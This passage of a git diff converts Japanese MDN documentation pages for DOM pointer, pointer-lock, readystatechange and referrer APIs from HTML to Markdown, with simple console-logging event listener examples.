+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerenter_event", "pointerenter")}} イベント diff --git a/files/ja/web/api/document/pointerleave_event/index.md b/files/ja/web/api/document/pointerleave_event/index.md index 0a4e2826081c39..84fb781e2ddff5 100644 --- a/files/ja/web/api/document/pointerleave_event/index.md +++ b/files/ja/web/api/document/pointerleave_event/index.md @@ -12,78 +12,71 @@ tags: - イベント translation_of: Web/API/Document/pointerleave_event --- -
{{APIRef}}
+{{APIRef}} -

pointerleave イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。

+`pointerleave` イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}}
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} +
-

+## 例 -

addEventListener() の使用例:

+`addEventListener()` の使用例: -
document.addEventListener('pointerleave', (event) => {
+```js
+document.addEventListener('pointerleave', (event) => {
   console.log('Pointer left element');
-});
+}); +``` -

onpointerleave イベントハンドラープロパティの使用例:

+`onpointerleave` イベントハンドラープロパティの使用例: -
document.onpointerleave = (event) => {
+```js
+document.onpointerleave = (event) => {
   console.log('Pointer left element');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerleave-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerleave-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerleave_event")}}

+{{Compat("api.Document.pointerleave_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerleave_event", "pointerleave")}} イベント
  • -
+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerleave_event", "pointerleave")}} イベント diff --git a/files/ja/web/api/document/pointerlockchange_event/index.md b/files/ja/web/api/document/pointerlockchange_event/index.md index 73414a87c6d48d..abd39775316f4d 100644 --- a/files/ja/web/api/document/pointerlockchange_event/index.md +++ b/files/ja/web/api/document/pointerlockchange_event/index.md @@ -11,68 +11,61 @@ tags: - ウェブ translation_of: Web/API/Document/pointerlockchange_event --- -
{{APIRef}}
+{{APIRef}} -

pointerlockchange イベントは、ポインターがロックされたり解除されたりしたときに発行されます。

+`pointerlockchange` イベントは、ポインターがロックされたり解除されたりしたときに発行されます。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document/onpointerlockchange", "onpointerlockchange")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
document.addEventListener('pointerlockchange', (event) => {
+```js
+document.addEventListener('pointerlockchange', (event) => {
   console.log('Pointer lock changed');
-});
+}); +``` -

onpointerlockerror イベントハンドラープロパティを使用した場合

+`onpointerlockerror` イベントハンドラープロパティを使用した場合 -
document.onpointerlockchange = (event) => {
+```js
+document.onpointerlockchange = (event) => {
   console.log('Pointer lock changed');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
+| 仕様書 | 状態 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}} | {{Spec2('Pointer Lock')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerlockchange_event")}}

+{{Compat("api.Document.pointerlockchange_event")}} -

関連情報

+## 関連情報 - +- [Pointer Lock API の使用](/ja/docs/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/pointerlockelement/index.md b/files/ja/web/api/document/pointerlockelement/index.md index e4ed1f4052b9b0..7360d7f66b6f4a 100644 --- a/files/ja/web/api/document/pointerlockelement/index.md +++ b/files/ja/web/api/document/pointerlockelement/index.md @@ -14,46 +14,32 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement original_slug: Web/API/DocumentOrShadowRoot/pointerLockElement --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

pointerLockElement は {{domxref("Document")}} および {{domxref("ShadowRoot")}} インターフェイスのプロパティで、要素をポインターがロックされている間のマウスイベントの対象として設定します。ロック待ち状態の場合、ポインターがロックされていない場合、対象が他の文書にある場合は null になります。

+**`pointerLockElement`** は {{domxref("Document")}} および {{domxref("ShadowRoot")}} インターフェイスのプロパティで、要素をポインターがロックされている間のマウスイベントの対象として設定します。ロック待ち状態の場合、ポインターがロックされていない場合、対象が他の文書にある場合は `null` になります。 -

構文

+## 構文 -
var element = document.pointerLockElement;
-
+``` +var element = document.pointerLockElement; +``` -

返値

+### 返値 -

{{domxref("Element")}} または null

+{{domxref("Element")}} または `null`。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Pointer Lock','#extensions-to-the-documentorshadowroot-mixin','pointerLockElement')}}{{Spec2('Pointer Lock')}}Document インターフェイスを拡張
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- | +| {{SpecName('Pointer Lock','#extensions-to-the-documentorshadowroot-mixin','pointerLockElement')}} | {{Spec2('Pointer Lock')}} | `Document` インターフェイスを拡張 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.DocumentOrShadowRoot.pointerLockElement")}}

+{{Compat("api.DocumentOrShadowRoot.pointerLockElement")}} -

関連情報

+## 関連情報 -
    -
  • {{ domxref("Document.exitPointerLock()") }}
  • -
  • {{ domxref("Element.requestPointerLock()") }}
  • -
  • Pointer Lock
  • -
+- {{ domxref("Document.exitPointerLock()") }} +- {{ domxref("Element.requestPointerLock()") }} +- [Pointer Lock](/ja/docs/WebAPI/Pointer_Lock) diff --git a/files/ja/web/api/document/pointerlockerror_event/index.md b/files/ja/web/api/document/pointerlockerror_event/index.md index 59ebb5b607fb71..19005f6cbdab10 100644 --- a/files/ja/web/api/document/pointerlockerror_event/index.md +++ b/files/ja/web/api/document/pointerlockerror_event/index.md @@ -12,70 +12,63 @@ tags: - ポインター translation_of: Web/API/Document/pointerlockerror_event --- -
{{APIRef}}
+{{APIRef}} -

pointerlockerror イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。

+`pointerlockerror` イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockerror")}}
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document/onpointerlockchange", "onpointerlockerror")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
const para = document.querySelector('p');
+```js
+const para = document.querySelector('p');
 
-document.addEventListener('pointerlockerror', (event) => {
+document.addEventListener('pointerlockerror', (event) => {
   console.log('Error locking pointer');
-});
+}); +``` -

onpointerlockerror イベントハンドラープロパティを使用した場合

+`onpointerlockerror` イベントハンドラープロパティを使用した場合 -
document.onpointerlockerror = (event) => {
+```js
+document.onpointerlockerror = (event) => {
   console.log('Error locking pointer');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
+| 仕様書 | 状態 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}} | {{Spec2('Pointer Lock')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerlockerror_event")}}

+{{Compat("api.Document.pointerlockerror_event")}} -

関連情報

+## 関連情報 - +- [Pointer Lock API の使用](/ja/docs/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/pointermove_event/index.md b/files/ja/web/api/document/pointermove_event/index.md index 573a3a9d03f123..4048224f4656ad 100644 --- a/files/ja/web/api/document/pointermove_event/index.md +++ b/files/ja/web/api/document/pointermove_event/index.md @@ -14,78 +14,71 @@ tags: - ポインター translation_of: Web/API/Document/pointermove_event --- -
{{APIRef}}
+{{APIRef}} -

pointermove はポインターの座標が変化し、かつブラウザーのタッチ操作によってポインターがキャンセルされていないときに発生します。

+`pointermove` はポインターの座標が変化し、かつブラウザーの[タッチ操作](/ja/docs/Web/CSS/touch-action)によってポインターが[キャンセル](/ja/docs/Web/Events/pointercancel)されていないときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}}
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
document.addEventListener('pointermove', (event) => {
+```js
+document.addEventListener('pointermove', (event) => {
   console.log('Pointer moved');
-});
+}); +``` -

onpointermove イベントハンドラープロパティを使用した場合

+`onpointermove` イベントハンドラープロパティを使用した場合 -
document.onpointermove = (event) => {
+```js
+document.onpointermove = (event) => {
   console.log('Pointer moved');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointermove-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointermove-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointermove_event")}}

+{{Compat("api.Document.pointermove_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointermove_event", "pointermove")}} イベント
  • -
+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointermove_event", "pointermove")}} イベント diff --git a/files/ja/web/api/document/pointerout_event/index.md b/files/ja/web/api/document/pointerout_event/index.md index f6261665ffe558..57ed36d291679c 100644 --- a/files/ja/web/api/document/pointerout_event/index.md +++ b/files/ja/web/api/document/pointerout_event/index.md @@ -12,78 +12,71 @@ tags: - イベント translation_of: Web/API/Document/pointerout_event --- -
{{APIRef}}
+{{APIRef}} -

pointerout イベントはいくつかの理由で発生します。ポインティングデバイスが要素のヒットテスト境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。

+`pointerout` イベントはいくつかの理由で発生します。ポインティングデバイスが要素の*ヒットテスト*境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}}
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
document.addEventListener('pointerout', (event) => {
+```js
+document.addEventListener('pointerout', (event) => {
   console.log('Pointer moved out');
-});
+}); +``` -

onpointerout イベントハンドラープロパティを使用した場合

+`onpointerout` イベントハンドラープロパティを使用した場合 -
document.onpointerout = (event) => {
+```js
+document.onpointerout = (event) => {
   console.log('Pointer moved out');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerout-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerout-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerout_event")}}

+{{Compat("api.Document.pointerout_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} event handler property
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerout_event", "pointerout")}} event
  • -
+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} event handler property +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerout_event", "pointerout")}} event diff --git a/files/ja/web/api/document/pointerover_event/index.md b/files/ja/web/api/document/pointerover_event/index.md index 3d63f73b5b8eae..2ef558b3fdf559 100644 --- a/files/ja/web/api/document/pointerover_event/index.md +++ b/files/ja/web/api/document/pointerover_event/index.md @@ -15,77 +15,70 @@ tags: - ポインター translation_of: Web/API/Document/pointerover_event --- -
{{APIRef}}
+{{APIRef}} -

pointerover イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。

+`pointerover` イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}}
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
document.addEventListener('pointerover', (event) => {
+```js
+document.addEventListener('pointerover', (event) => {
   console.log('Pointer moved in');
-});
+}); +``` -

onpointerover イベントハンドラープロパティを使用した場合

+`onpointerover` イベントハンドラープロパティを使用した場合 -
document.onpointerover = (event) => {
+```js
+document.onpointerover = (event) => {
   console.log('Pointer moved in');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerover-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerover-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerover_event")}}

+{{Compat("api.Document.pointerover_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} event handler property
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerover_event", "pointerover")}} イベント
  • -
+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} event handler property +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerover_event", "pointerover")}} イベント diff --git a/files/ja/web/api/document/pointerup_event/index.md b/files/ja/web/api/document/pointerup_event/index.md index fa1ecc28fc8a09..0da9d947d54ec3 100644 --- a/files/ja/web/api/document/pointerup_event/index.md +++ b/files/ja/web/api/document/pointerup_event/index.md @@ -14,78 +14,71 @@ tags: - ポインター translation_of: Web/API/Document/pointerup_event --- -
{{APIRef}}
+{{APIRef}} -

pointerup イベントは、ポインターがアクティブではなくなったときに発生します。

+`pointerup` イベントは、ポインターがアクティブではなくなったときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}}
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} +
-

+## 例 -

addEventListener() を使用した場合

+`addEventListener()` を使用した場合 -
document.addEventListener('pointerup', (event) => {
+```js
+document.addEventListener('pointerup', (event) => {
   console.log('Pointer up');
-});
+}); +``` -

onpointerup イベントハンドラープロパティを使用した場合

+`onpointerup` イベントハンドラープロパティを使用した場合 -
document.onpointerup = (event) => {
+```js
+document.onpointerup = (event) => {
   console.log('Pointer up');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerup-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerup-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerup_event")}}

+{{Compat("api.Document.pointerup_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerup_event", "pointerup")}} イベント
  • -
+- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerup_event", "pointerup")}} イベント diff --git a/files/ja/web/api/document/readystatechange_event/index.md b/files/ja/web/api/document/readystatechange_event/index.md index 83c86bbc0c7de6..bb4197f388723e 100644 --- a/files/ja/web/api/document/readystatechange_event/index.md +++ b/files/ja/web/api/document/readystatechange_event/index.md @@ -8,50 +8,50 @@ tags: - interactive translation_of: Web/API/Document/readystatechange_event --- -
{{APIRef}}
+{{APIRef}} -

readystatechange eventは、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。

+**`readystatechange`** event は、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティonreadystatechange
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティonreadystatechange
-

+## 例 -

ライブデモ

+### ライブデモ -

HTML

+#### HTML -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
+```html +
+ +
- - -

JS

+#### JS -
const log = document.querySelector('.event-log-contents');
+```js
+const log = document.querySelector('.event-log-contents');
 const reload = document.querySelector('#reload');
 
-reload.addEventListener('click', () => {
+reload.addEventListener('click', () => {
   log.textContent ='';
-  window.setTimeout(() => {
+  window.setTimeout(() => {
       window.location.reload(true);
   }, 200);
 });
 
-window.addEventListener('load', (event) => {
+window.addEventListener('load', (event) => {
     log.textContent = log.textContent + 'load\n';
 });
 
-document.addEventListener('readystatechange', (event) => {
+document.addEventListener('readystatechange', (event) => {
     log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
 });
 
-document.addEventListener('DOMContentLoaded', (event) => {
+document.addEventListener('DOMContentLoaded', (event) => {
     log.textContent = log.textContent + `DOMContentLoaded\n`;
 });
+```
 
-
- -

結果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+#### 結果 + +{{ EmbedLiveSample('Live_example', '100%', '160px') }} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}} | {{Spec2("HTML WHATWG")}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.readystatechange_event")}}

+{{Compat("api.Document.readystatechange_event")}} -

関連情報

+## 関連情報 -
    -
  • 関連イベント: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
+- 関連イベント: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}} diff --git a/files/ja/web/api/document/referrer/index.md b/files/ja/web/api/document/referrer/index.md index 9d4d65a59915ed..15e2f250b5097f 100644 --- a/files/ja/web/api/document/referrer/index.md +++ b/files/ja/web/api/document/referrer/index.md @@ -11,40 +11,28 @@ tags: - プロパティ translation_of: Web/API/Document/referrer --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

Document.referrer プロパティは、このページへリンクしていたページの URI を返します。

+**`Document.referrer`** プロパティは、このページへリンクしていたページの [URI](http://www.w3.org/Addressing/#background) を返します。 -

構文

+## 構文 -
var referrer = document.referrer;
-
+``` +var referrer = document.referrer; +``` -

+### 値 -

この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。

+この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。 -

{{HTMLElement("iframe")}} の中では、 Document.referrer は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。

+{{HTMLElement("iframe")}} の中では、 `Document.referrer` は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
